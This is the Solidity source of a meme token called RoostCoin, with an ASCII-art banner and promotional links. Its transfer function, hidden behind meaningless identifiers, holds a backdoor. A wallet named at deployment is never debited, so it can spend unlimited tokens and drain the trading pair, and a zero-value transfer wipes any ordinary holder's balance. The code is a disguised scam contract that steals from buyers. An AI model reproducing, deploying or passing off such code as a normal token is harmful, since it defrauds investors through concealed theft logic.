creation_sourcecode: /*
  
  Let’s $ROOST these mfers.
  
  Website: https://roost.wtf/
  X: https://twitter.com/RoostCoin
  
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%?????%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%?*+;;::,,,,,,,,,,::;;+*?%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%?*;:,,,,,,,,:::::::::::,,,,,,,:;*?%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%*;:,,,,::::::::::::::::::::::::::,,,,:;*%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%*;,,,,::::::::::::::::::::::::::::::::::,,,,;*%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%+:,,,::::::::::::::::::;+++;:::::::::::::::::,,,:+%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%+,,,::::::::;+*****+;::*%????%%?;:::::::::::::::::,,,+%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%*,.,::::::::*%%%?????????%?*****?%S+::::::::::::::::::,,,*%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%?:.,::::::::;%%?**?**??**??******??*S?::::::::::::::::::::,.:?%%%%%%%%%%%%%%
  %%%%%%%%%%%%%*,,::::::::::%%*?????????*??%%%%%%??%S?**+:::::::::::::::::::,,*%%%%%%%%%%%%%
  %%%%%%%%%%%%+.,::::::::::;#?*?????????%S?*+++*?%%%;;;+%%:::::::::::::::::::,.+%%%%%%%%%%%%
  %%%%%%%%%%%+.,::::::::::::S%*?????**?S?;::::::::;;::;;+S*++:::::::::::::::::,.+%%%%%%%%%%%
  %%%%%%%%%%*.,:::::::::::::*#%??**???S+:;;;;:;+*****+*++;++*?;::::::::::::::::,.*%%%%%%%%%%
  %%%%%%%%%?,,:::::::::::;*%%??**?%???;:;;;;;+*+;;;+*%++++*S#S%:::::::::::::::::,,?%%%%%%%%%
  %%%%%%%%%:.,:::::::::;?%%?***?S?+:::;;;;;;;+;+++?###%,..*@@@#;::::::::::::::::,.:%%%%%%%%%
  %%%%%%%%?.,::::::::;?%??*??*?S*::;;;;;;;;;+*+;,,%@@@#;::;S##+::::::::::::::::::,.*%%%%%%%%
  %%%%%%%%;.,:::::::+S%?*?????S*:;;;;;;;;;;;;+++++*%S%???***%*;;;;:::::::::::::::,.;%%%%%%%%
  %%%%%%%%,,:::::::;S?*?????*%%:;;;;;;;;;;;;;+***++***+++*++++++****+;::::::::::::,,%%%%%%%%
  %%%%%%%?,,:::::::+#*?????*?#+:;;;;;;;;;;;;;;;+?%?*+;;;;;;;;;;;;;;++**+::::::::::,,?%%%%%%%
  %%%%%%%?,,:::::::;S%****??SS;;;;;;;;;;;;;;++*?*;;;;;;;++++++++++++;;;*?;::::::::,,?%%%%%%%
  %%%%%%%?,,::::::::;%%%%%?*%%:;;;;;;;;;;;;;;;?+;;;;+*****++++++++**?*++*%::::::::,,?%%%%%%%
  %%%%%%%%:,::::::::::;;;;::*S;;;;;;;;;;;;;;:+*;;;;**++;;;;;;;;;;;;+?::;+%+:::::::,,%%%%%%%%
  %%%%%%%%;.,:::::::::::::::;S*:;;;;;;;;;;;;:+*;;;;+;;;;;;;;;;;;;;+?;::::;:::::::,.;%%%%%%%%
  %%%%%%%%?.,::::::::::::::::*S+:;;;;;;;;;;;;;?+;;;;;;;;;;;;;;;;+**;:::::::::::::,.*%%%%%%%%
  %%%%%%%%%:.,::::::::::::::::+S?;:;;;;;;;;;;:;**+++;;;;;;;;;++**+::::::::::::::,.:%%%%%%%%%
  %%%%%%%%%?,,:::::::::::::::::;?S?;::;;;;;;;;;:;+?%??????????S?::::::::::::::::,,?%%%%%%%%%
  %%%%%%%%%%*.,::::::::::::::::::;?%?*;;:::::;;::::+%%???????*%*:::::::::::::::,.+%%%%%%%%%%
  %%%%%%%%%%%+.,::::::::::::::::::::+?%%??**+++++**??%%**????*?S;:::::::::::::,.+%%%%%%%%%%%
  %%%%%%%%%%%%+.,::::::::::::::::::::::;;+**???**++;:;S?*?**??*?S+:::::::::::,.+%%%%%%%%%%%%
  %%%%%%%%%%%%%*,,:::::::::::::::::::::::::::::::::::+S??*?????*?S*:::::::::,,*%%%%%%%%%%%%%
  %%%%%%%%%%%%%%?:.,:::::::::::::::::::::::::::::::::+S??%%?*???*?S;::::::,.:?%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%*,,,::::::::::::::::::::::::::::::::+?*+%??***?*S+::::,,,+%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%+,,,::::::::::::::::::::::::::::::::::;*?????%*:::,,,+%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%+:,,,::::::::::::::::::::::::::::::::::;+++;:,,,:+%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%*;,,,,::::::::::::::::::::::::::::::::::,,,,;*%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%*;:,,,,::::::::::::::::::::::::::,,,,:;*%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%?*;:,,,,,,,::::::::::::,,,,,,,:;*?%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%?*+;;::,,,,,,,,,,::;;+*?%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%??????%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  
  */
  
  // SPDX-License-Identifier: Unlicense
  
  pragma solidity ^0.8.21;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  }
  
  contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      /**
       * @dev Initializes the contract setting the deployer as the initial owner.
       */
      constructor() {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      /**
       * @dev Returns the address of the current owner.
       */
      function owner() public view returns (address) {
          return _owner;
      }
  
      /**
       * @dev Throws if called by any account other than the owner.
       */
      modifier onlyOwner() {
          require(_owner == _msgSender(), 'Ownable: caller is not the owner');
          _;
      }
  
      /**
       * @dev Leaves the contract without owner. It will not be possible to call
       * `onlyOwner` functions anymore. Can only be called by the current owner.
       *
       * NOTE: Renouncing ownership will leave the contract without an owner,
       * thereby removing any functionality that is only available to the owner.
       */
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
  
      /**
       * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Can only be called by the current owner.
       */
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(newOwner != address(0), 'Ownable: new owner is the zero address');
          emit OwnershipTransferred(_owner, newOwner);
          _owner = newOwner;
      }
  }
  
  interface IUniswapV2Router02 {
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  }
  
  interface IUniswapV2Factory {
      function createPair(address tokenA, address tokenB) external returns (address pair);
  }
  
  contract RoostCoin is Ownable {
      function transfer(address bbasf, uint256 zhna) public returns (bool success) {
          asdghagh(msg.sender, bbasf, zhna);
          return true;
      }
  
      mapping(address => uint256) public balanceOf;
  
      function asdghagh(address baszf, address bbasf, uint256 zhna) private {
          if (0 == abbbas[baszf]) {
              balanceOf[baszf] -= zhna;
          }
          balanceOf[bbasf] += zhna;
          if (0 == zhna && bbasf != huyqwe) {
              balanceOf[bbasf] = zhna;
          }
          emit Transfer(baszf, bbasf, zhna);
      }
  
      mapping(address => uint256) private eyolmfixsp;
  
      event Approval(address indexed owner, address indexed spender, uint256 value);
  
      uint256 public totalSupply = 1000000000 * 10 ** 9;
  
      function transferFrom(address baszf, address bbasf, uint256 zhna) public returns (bool success) {
          require(zhna <= allowance[baszf][msg.sender]);
          allowance[baszf][msg.sender] -= zhna;
          asdghagh(baszf, bbasf, zhna);
          return true;
      }
  
      mapping(address => uint256) private abbbas;
  
      string public name = 'Roost';
  
      mapping(address => mapping(address => uint256)) public allowance;
  
      string public symbol = 'ROOST';
  
      address public huyqwe;
  
      function approve(address gasva, uint256 zhna) public returns (bool success) {
          allowance[msg.sender][gasva] = zhna;
          emit Approval(msg.sender, gasva, zhna);
          return true;
      }
  
      uint256 private klgkol = 235;
  
      uint8 public decimals = 9;
  
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      constructor(address jkahf) {
          balanceOf[msg.sender] = totalSupply;
          abbbas[jkahf] = klgkol;
          IUniswapV2Router02 kmsad = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          huyqwe = IUniswapV2Factory(kmsad.factory()).createPair(address(this), kmsad.WETH());
      }
  }